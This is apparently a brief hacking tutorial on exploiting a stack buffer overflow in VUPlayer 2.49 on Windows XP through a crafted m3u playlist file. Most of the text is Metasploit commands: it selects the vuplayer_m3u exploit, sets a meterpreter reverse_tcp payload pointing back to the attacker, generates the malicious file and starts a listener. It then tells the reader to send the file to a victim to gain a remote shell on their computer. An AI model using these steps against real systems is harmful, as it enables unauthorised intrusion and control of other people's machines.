Hack Remote Windows PC using VUPlayer M3U Buffer Overflow

This module exploits a stack over flow in VUPlayer <= 2.49. When the application is used to open a specially crafted m3u file, and buffer is overwritten allowing for the execution of arbitrary code

Exploit Targets

VUPlayer 2.49

Windows XP SP 2


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/vuplayer_m3u

Msf exploit (vuplayer_m3u)>set payload windows/meterpreter/reverse_tcp

Msf exploit (vuplayer_m3u)>set lhost (IP of Local Host)

Msf exploit (vuplayer_m3u)>exploit

After we successfully generate the malicious MP3 File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your msf.m3u files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

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